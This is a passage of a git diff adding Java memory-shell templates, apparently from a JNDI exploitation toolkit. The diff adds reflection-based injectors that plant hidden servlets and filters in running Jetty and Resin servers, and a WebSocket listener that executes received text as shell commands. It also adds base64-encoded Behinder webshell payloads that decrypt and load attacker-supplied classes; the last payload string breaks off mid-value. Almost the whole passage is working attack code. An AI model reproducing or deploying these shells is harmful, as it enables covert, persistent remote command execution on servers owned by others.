holder.getClass().getMethod("setName", String.class).invoke(holder, servletName); + Servlet servlet = new JSMSFromJMXS(); + holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet); + handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder); + +// ServletMapping mappingx = new ServletMapping(Source.JAVAX_API); +// mappingx.setServletName(ServletHolder.this.getName()); +// mappingx.setPathSpecs(urlPatterns); +// ServletHolder.this.getServletHandler().addServletMapping(mappingx); + + Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); + Object servletMapping = null; + try { + servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); + } catch (NoSuchMethodException e) { + servletMapping = clazz.newInstance(); + } + + servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName); + servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{pattern}}); + handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping); + } + } catch (Exception e) { + //pass + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java new file mode 100644 index 00000000..10709efa --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java @@ -0,0 +1,114 @@ +package com.qi4l.jndi.template.memshell.resin; + +import com.caucho.server.dispatch.FilterConfigImpl; +import com.caucho.server.dispatch.FilterMapper; +import com.caucho.server.dispatch.FilterMapping; +import com.caucho.server.webapp.WebApp; + +import javax.servlet.*; +import java.lang.reflect.Field; +import java.util.ArrayList; + +public class RFMSFromThreadF implements Filter{ + public static String pattern; + + static { + try { + String filterName = String.valueOf(System.nanoTime()); + + ClassLoader classloader = Thread.currentThread().getContextClassLoader(); + + Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); + Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl"); + Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping"); + Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper"); + + Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); + WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); + + Filter filter = new RFMSFromThreadF(); + + FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigimplcls.newInstance(); + filterConfigimpl.setFilterName(filterName); + filterConfigimpl.setFilter(filter); + filterConfigimpl.setFilterClass(filter.getClass()); + + webapp.addFilter(filterConfigimpl); + + FilterMapping filterMapping = (FilterMapping) filterMappingcls.newInstance(); + FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern(); + filterMappingUrlpattern.addText(pattern); + filterMappingUrlpattern.init(); + filterMapping.setFilterName(filterName); + filterMapping.setServletContext(webapp); + + + //set filterMapper + Field fieldWebappFilterMapper = null; + try { + fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper"); + } catch (NoSuchFieldException Exception) { + fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper"); + } + + fieldWebappFilterMapper.setAccessible(true); + FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp); + + Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap"); + fieldFilterMapperFilterMap.setAccessible(true); + + ArrayList orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper); + ArrayList newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1); + newFilterMappings.add(filterMapping); + + int count = 0; + while (count < orginalfilterMappings.size()) { + newFilterMappings.add(orginalfilterMappings.get(count)); + ++count; + } + + fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings); + fieldWebappFilterMapper.set(webapp, filtermapper); + + //set loginFilterMapper + Field fieldWebappLoginFilterMapper = null; + try { + fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper"); + } catch (NoSuchFieldException Exception) { + fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper"); + } + + fieldWebappLoginFilterMapper.setAccessible(true); + FilterMapper loginFilterMapper = (FilterMapper) fieldWebappLoginFilterMapper.get(webapp); + + ArrayList orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper); + ArrayList newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1); + newLoginFilterMappings.add(filterMapping); + + count = 0; + while (count < orginLoginFilterMappings.size()) { + newLoginFilterMappings.add(orginLoginFilterMappings.get(count)); + ++count; + } + + fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings); + fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper); + + webapp.getClass().getMethod("clearCache").invoke(webapp); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java new file mode 100644 index 00000000..29028614 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java @@ -0,0 +1,76 @@ +package com.qi4l.jndi.template.memshell.resin; + +import com.caucho.server.dispatch.ServletConfigImpl; +import com.caucho.server.dispatch.ServletManager; + +import javax.servlet.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class RSMSFromThreadS implements Servlet { + public static String pattern; + + public static String NAME; + + static { + try { + Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Method getContextRequest = si.getMethod("getContextRequest"); + javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null); + + Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext"); + Object web = getServletContext.invoke(contextRequest); + + com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web; + + com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping(); + + Field f = ServletConfigImpl.class.getDeclaredField("_servletClass"); + f.setAccessible(true); + f.set(smapping, RSMSFromThreadS.class); + + Field f1 = ServletConfigImpl.class.getDeclaredField("_servletClassName"); + f1.setAccessible(true); + f1.set(smapping, RSMSFromThreadS.class.getName()); + + Field f2 = web1.getClass().getDeclaredField("_servletManager"); + f2.setAccessible(true); + + Object manager = f2.get(web1); + Field f3 = ServletManager.class.getDeclaredField("_servlets"); + f3.setAccessible(true); + HashMap map = (HashMap) f3.get(manager); + + map.put(NAME, new ServletConfigImpl()); + + smapping.setServletName(NAME); + smapping.addURLPattern(pattern); + + web1.addServletMapping(smapping); + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java b/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java new file mode 100644 index 00000000..c24304c2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java @@ -0,0 +1,80 @@ +package com.qi4l.jndi.template.memshell.resin; + +import com.caucho.server.webapp.WebApp; +import com.caucho.websocket.WebSocketContext; +import com.caucho.websocket.WebSocketListener; +import com.caucho.websocket.WebSocketServletRequest; + +import java.io.IOException; +import java.io.InputStream; +import java.io.PrintWriter; +import java.io.Reader; + +public class WsResin implements WebSocketListener { + + static { + try { + ClassLoader classloader = Thread.currentThread().getContextClassLoader(); + Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); + String protocol = (String) contextRequest.getClass().getMethod("getHeader").invoke(contextRequest,"Upgrade"); + //String protocol = request.getHeader("Upgrade"); + if (! "websocket".equals(protocol)) { + System.out.println("not websocket"); + System.exit(0); + } + WebSocketListener listener = new WsResin(); + WebSocketServletRequest wsReq = (WebSocketServletRequest) contextRequest; + wsReq.startWebSocket(listener); + } catch (Exception ignored) { + } + } + @Override + public void onReadText(WebSocketContext context, Reader is) throws IOException { + StringBuilder sb = new StringBuilder(); + int ch; + while ((ch = is.read()) >= 0) { + sb.append((char) ch); + } + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", sb.toString() }); + } else { + process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", sb.toString() }); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char)i); + inputStream.close(); + process.waitFor(); + PrintWriter writer = context.startTextMessage(); + writer.print(stringBuilder); + writer.close(); + } catch (Exception ignored) { + } + } + @Override + public void onClose(WebSocketContext webSocketContext) throws IOException { + + } + @Override + public void onDisconnect(WebSocketContext webSocketContext) throws IOException { + + } + @Override + public void onTimeout(WebSocketContext webSocketContext) throws IOException { + + } + @Override + public void onStart(WebSocketContext webSocketContext) throws IOException { + + } + @Override + public void onReadBinary(WebSocketContext webSocketContext, InputStream inputStream) throws IOException { + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java b/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java new file mode 100644 index 00000000..a6180ed9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java @@ -0,0 +1,129 @@ +package com.qi4l.jndi.template.memshell.shell; + +public class MemShellPayloads { + + public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ewoJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCkgJDE7CglqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSkgJDI7CglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsKCU9iamVjdCBsYXN0UmVzcG9uc2UgPSByZXNwb25zZTsKCXRyeSB7CgkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9zdTE4Lm9yZy8iKSkgewoJCQlpZiAoIShsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpKSB7CgkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVxdWVzdCA9IGphdmF4LnNlcnZsZXQuU2VydmxldFJlcXVlc3RXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVxdWVzdCIsbnVsbCk7CgkJCQlsYXN0UmVxdWVzdCA9IGdldFJlcXVlc3QuaW52b2tlKHJlcXVlc3QsbnVsbCk7CgkJCQl3aGlsZSAodHJ1ZSkgewoJCQkJCWlmIChsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGJyZWFrOwoJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UobGFzdFJlcXVlc3QsbnVsbCk7CgkJCQl9CgkJCX0KCQkJaWYgKCEobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpKSB7CgkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVzcG9uc2UgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZVdyYXBwZXIuY2xhc3MuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIsbnVsbCk7CgkJCQlsYXN0UmVzcG9uc2UgPSBnZXRSZXNwb25zZS5pbnZva2UocmVzcG9uc2UsbnVsbCk7CgkJCQl3aGlsZSAodHJ1ZSkgewoJCQkJCWlmIChsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkgYnJlYWs7CgkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsKCQkJCX0KCQkJfQoJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiAgICAgPSAoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGxhc3RSZXF1ZXN0KS5nZXRTZXNzaW9uKCk7CgkJCQlwYWdlQ29udGV4dC5wdXQoInJlcXVlc3QiLCBsYXN0UmVxdWVzdCk7CgkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgbGFzdFJlc3BvbnNlKTsKCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOwoJCQkJaWYgKHBheWxvYWQgPT0gbnVsbCB8fCAocGF5bG9hZC5sZW5ndGgoKSA9PSAwKSkgewoJCQkJCXBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoKTsKCQkJCQlvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0IHJlYWxSZXF1ZXN0ID0gKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3QpIGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsInJlcXVlc3QiKTsKCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IGNveW90ZVJlcXVlc3QgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShyZWFsUmVxdWVzdCwiY295b3RlUmVxdWVzdCIpOwoJCQkJCW9yZy5hcGFjaGUudG9tY2F0LnV0aWwuaHR0cC5QYXJhbWV0ZXJzICAgIHBhcmFtZXRlcnMgPSBjb3lvdGVSZXF1ZXN0LmdldFBhcmFtZXRlcnMoKTsKCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsInBhcmFtSGFzaFZhbHVlcyIpOwoJCQkJCWphdmEudXRpbC5JdGVyYXRvciBpdGVyYXRvciA9IHBhcmFtTWFwLmVudHJ5U2V0KCkuaXRlcmF0b3IoKTsKCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCWphdmEudXRpbC5NYXAuRW50cnkgbmV4dCAgICAgICAgICAgPSBpdGVyYXRvci5uZXh0KCk7CgkJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXJhbUtleSAgICAgICA9IG5leHQuZ2V0S2V5KCkudG9TdHJpbmcoKS5yZXBsYWNlQWxsKCIgIiwgIisiKTsKCQkJCQkJamF2YS51dGlsLkFycmF5TGlzdCAgICAgICAgICAgICAgICAgICAgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCluZXh0LmdldFZhbHVlKCk7CgkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpOwoJCQkJCQl9IGVsc2UgewoJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQkJbm9Mb2cobGFzdFJlcXVlc3QpOwoJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7CgkJCQlzZXNzaW9uLnB1dFZhbHVlKCJ1Iiwgayk7CgkJCQlqYXZheC5jcnlwdG8uQ2lwaGVyIGMgPSBqYXZheC5jcnlwdG8uQ2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTsKCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJc3VuLm1pc2MuVW5zYWZlIHVuc2FmZSAgICAgICAgID0gZ2V0VW5zYWZlKCk7CgkJCQlDbGFzcyBldmlsY2xhc3MgPXVuc2FmZS5kZWZpbmVBbm9ueW1vdXNDbGFzcyhPYmplY3QuY2xhc3MsIGV2aWxjbGFzc19ieXRlLCBudWxsKTsKCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCX0KCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQp9"; + + public static String BEHINDER_SHELL_FOR_TOMCAT = "ewoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOwoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsKCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsKCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcG9uc2U7CgkJdHJ5IHsKCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9zdTE4Lm9yZy8iKSkgewoJCQkJaWYgKCEobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSkgewoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBnZXRSZXF1ZXN0ID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdFdyYXBwZXIuY2xhc3MuZ2V0TWV0aG9kKCJnZXRSZXF1ZXN0IixudWxsKTsKCQkJCQlsYXN0UmVxdWVzdCA9IGdldFJlcXVlc3QuaW52b2tlKHJlcXVlc3QsbnVsbCk7CgkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJaWYgKGxhc3RSZXF1ZXN0IGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdEZhY2FkZSkgYnJlYWs7CgkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UobGFzdFJlcXVlc3QsbnVsbCk7CgkJCQkJfQoJCQkJfQoJCQkJaWYgKCEobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpKSB7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOwoJCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShyZXNwb25zZSxudWxsKTsKCQkJCQl3aGlsZSAodHJ1ZSkgewoJCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOwoJCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRSZXNwb25zZS5pbnZva2UobGFzdFJlc3BvbnNlLG51bGwpOwoJCQkJCX0KCQkJCX0KCQkJCWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKSB7CgkJCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9ICgob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdEZhY2FkZSkgbGFzdFJlcXVlc3QpLmdldFNlc3Npb24oKTsKCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCBsYXN0UmVzcG9uc2UpOwoJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQlqYXZhLmxhbmcuU3RyaW5nQnVpbGRlciBwYXlsb2FkID0gbmV3IGphdmEubGFuZy5TdHJpbmdCdWlsZGVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSk7CgkJCQlpZiAocGF5bG9hZCA9PSBudWxsIHx8IChwYXlsb2FkLmxlbmd0aCgpID09IDApKSB7CgkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQlvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0IHJlYWxSZXF1ZXN0ID0gKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3QpIGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsInJlcXVlc3QiKTsKCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IGNveW90ZVJlcXVlc3QgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShyZWFsUmVxdWVzdCwiY295b3RlUmVxdWVzdCIpOwoJCQkJCW9yZy5hcGFjaGUudG9tY2F0LnV0aWwuaHR0cC5QYXJhbWV0ZXJzICAgIHBhcmFtZXRlcnMgPSBjb3lvdGVSZXF1ZXN0LmdldFBhcmFtZXRlcnMoKTsKCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsInBhcmFtSGFzaFZhbHVlcyIpOwoJCQkJCWphdmEudXRpbC5JdGVyYXRvciBpdGVyYXRvciA9IHBhcmFtTWFwLmVudHJ5U2V0KCkuaXRlcmF0b3IoKTsKCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCWphdmEudXRpbC5NYXAuRW50cnkgbmV4dCAgICAgICAgICAgPSBpdGVyYXRvci5uZXh0KCk7CgkJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXJhbUtleSAgICAgICA9IG5leHQuZ2V0S2V5KCkudG9TdHJpbmcoKS5yZXBsYWNlQWxsKCIgIiwgIisiKTsKCQkJCQkJamF2YS51dGlsLkFycmF5TGlzdCAgICAgICAgICAgICAgICAgICAgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCluZXh0LmdldFZhbHVlKCk7CgkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpOwoJCQkJCQl9IGVsc2UgewoJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQkJbm9Mb2cobGFzdFJlcXVlc3QpOwoJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7CgkJCQlzZXNzaW9uLnB1dFZhbHVlKCJ1Iiwgayk7CgkJCQlqYXZheC5jcnlwdG8uQ2lwaGVyIGMgPSBqYXZheC5jcnlwdG8uQ2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTsKCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksbmV3IE9iamVjdFtde2V2aWxjbGFzc19ieXRlLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihldmlsY2xhc3NfYnl0ZS5sZW5ndGgpfSk7CgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJfQoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9Cgl9"; + + public static String BEHINDER_SHELL = "ewoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOwoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsKCQl0cnkgewoJCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL3N1MTgub3JnLyIpKSB7CgkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCWphdmEudXRpbC5IYXNoTWFwICAgICBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7CgkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgcmVxdWVzdCk7CgkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIHJlc3BvbnNlKTsKCQkJCQlwYWdlQ29udGV4dC5wdXQoInNlc3Npb24iLCBzZXNzaW9uKTsKCQkJCQlqYXZhLmxhbmcuU3RyaW5nQnVpbGRlciBwYXlsb2FkID0gbmV3IGphdmEubGFuZy5TdHJpbmdCdWlsZGVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucm